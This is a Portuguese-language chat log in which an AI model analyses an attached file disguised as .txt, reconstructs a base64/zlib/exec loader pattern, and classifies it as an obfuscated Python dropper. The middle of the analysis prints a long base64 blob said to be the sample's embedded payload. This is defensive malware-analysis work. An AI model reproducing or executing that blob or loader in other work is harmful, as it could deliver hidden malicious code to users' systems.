exec.txt
TXT 6.84KB

Analise o arquivo em anexo passo a passo e determine ao final: este arquivo é benigno ou é um malware?

Vou analisar o arquivo passo a passo.

Análise do arquivo `exec.txt`

1. Natureza do arquivo

O conteúdo começa com bytes binários ilegíveis e, mais adiante, exibe a assinatura `C566bb30ad42762b4584c55267158ea901602fc149fb2e0911107e49432de1249.py`. Isso indica que **não é um arquivo de texto simples**, mas sim um **arquivo `.pyc` (bytecode compilado de Python)** renomeado para `.txt`. O cabeçalho `c` e a presença de uma tabela de constantes/co_code confirmam que é bytecode Python (provavelmente Python 3.x).

2. Descompilação parcial do bytecode

Observando os nomes e constantes embutidos, encontramos:

- Constantes: `base64`, `zlib`, `bytes`, `exec`
- Nomes de variáveis/funções ofuscados: `aqgqzxkfjzbdnhz`, `wogyjaaijwqbpxer`, `qyrrhmmwrhaknyf`, `lzcdrtfxyqiplpd`, `runzmcxgusiurqv`, `ycqljtcxxkyiplor`, `dfhulxliqohxamy`, `osatiehltgdbqxk`, `wtqiceobrebqsxls`
- Chamadas: `decompress`, `b64decode`, `compile`, `exec`

O fluxo típico reconstruído é:

```python
import base64, zlib
data = b"<blob base64>"
decoded = zlib.decompress(base64.b64decode(data))
exec(compile(decoded, '<string>', 'exec'))
```

Há também um grande blob base64 (

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
KGR0/gFkGhSNz
).

Esse blob é **dados comprimidos (zlib) e codificados em base64** que, quando decodificados, produzem **mais bytecode Python** a ser executado via `exec`.

3. Indicadores de malware

Indicador	Significado
Arquivo `.pyc` disfarçado de `.txt`	Tentativa de evasão/ocultação
Ofuscação com nomes aleatórios (`aqgqzxkfjzbdnhz`, etc.)	Dificulta análise estática

Indicador	Significado
`base64.b64decode + zlib.decompress`	Técnica clássica de **empacotamento de payload** (stager)
`exec(compile(...))`	Execução dinâmica de código em memória — sem gravar em disco
Blob grande de dados codificados	Payload malicioso embutido
Nome do arquivo `.py` de hash (SHA-256-like)	Comum em amostras de malware/backdoor

4. Comportamento provável

Trata-se de um **stager/dropper** em Python. Ao ser executado:

1. Decodifica o blob base64;
2. Descomprime com zlib;
3. Compila e executa o bytecode resultante em memória via `exec`.

Esse é um padrão **amplamente utilizado por malware** para esconder a carga útil real (backdoor, ransomware, stealer, etc.) de analistas e de soluções de segurança baseadas em assinatura.

5. Veredito

Este arquivo é MALICIOSO (malware).

Mais especificamente, é um **dropper/stager ofuscado em Python** que carrega e executa um payload adicional em memória. Recomendações:

- **Não execute** o arquivo.
- Isole-o em ambiente sandbox se precisar de análise dinâmica.
- Submeta o hash a serviços como VirusTotal.
- Se ele já foi executado, trate o sistema como potencialmente comprometido (verifique processos, conexões de rede, persistência).

> Observação: a análise foi estática, baseada no bytecode visível. Para confirmar o payload final, seria necessário decodificar o blob base64+zlib em ambiente isolado —

> o que reforça ainda mais o caráter suspeito do arquivo.

This response is AI-generated, for reference only.

Qual é a categoria principal deste malware?

Found 10 web pages

Com base na análise do arquivo, a categoria principal deste malware é **Loader/Dropper (Carregador/Despejador) ofuscado baseado em Python**.

Ele não é um vírus ou ransomware completo em si, mas sim uma "primeira fase" ou "casca" projetada para esconder e executar a carga maliciosa real (que pode ser um infostealer, RAT, ransomware, etc.) diretamente na memória.

🧐 Justificativa da Classificação

A estrutura do arquivo corresponde exatamente ao padrão técnico de um Loader/Dropper moderno:

- **Execução em Memória (Fileless)**: O uso combinado de `base64.b64decode`, `zlib.decompress` e `exec(compile(...))` é a assinatura clássica de um loader. Ele decodifica o payload embutido e o executa diretamente na memória RAM, sem gravar o código malicioso final no disco, o que dificulta a detecção por antivírus tradicionais [2] [3] [6].
- **Ofuscação e Evasão**: O arquivo está disfarçado com extensão `.txt`, mas é um bytecode Python (`.pyc`). Os nomes de variáveis são aleatórios (ex: `aqgqzxkfjzbdnhz`) e há um grande blob de dados comprimidos, técnicas usadas para quebrar ferramentas de análise estática e esconder a intenção do código [5].
- **Função de "Stager"**: O objetivo principal do código visível não é causar o dano final (como criptografar arquivos), mas sim "estagiar" o ambiente para a próxima fase. Ele prepara o terreno para que o verdadeiro malware (que está dentro do blob) seja executado com os privilégios do processo atual [8].

⚠️ Observação Importante

Como o código final está empacotado dentro do blob `base64 + zlib`, **a categoria final do ataque (ex: se é um Stealer, Ransomware ou RAT) só poderia ser determinada após**

a desofuscação completa do payload em um ambiente sandbox isolado. No entanto, a função *deste arquivo específico* é, sem dúvida, a de um carregador malicioso.

19 web pages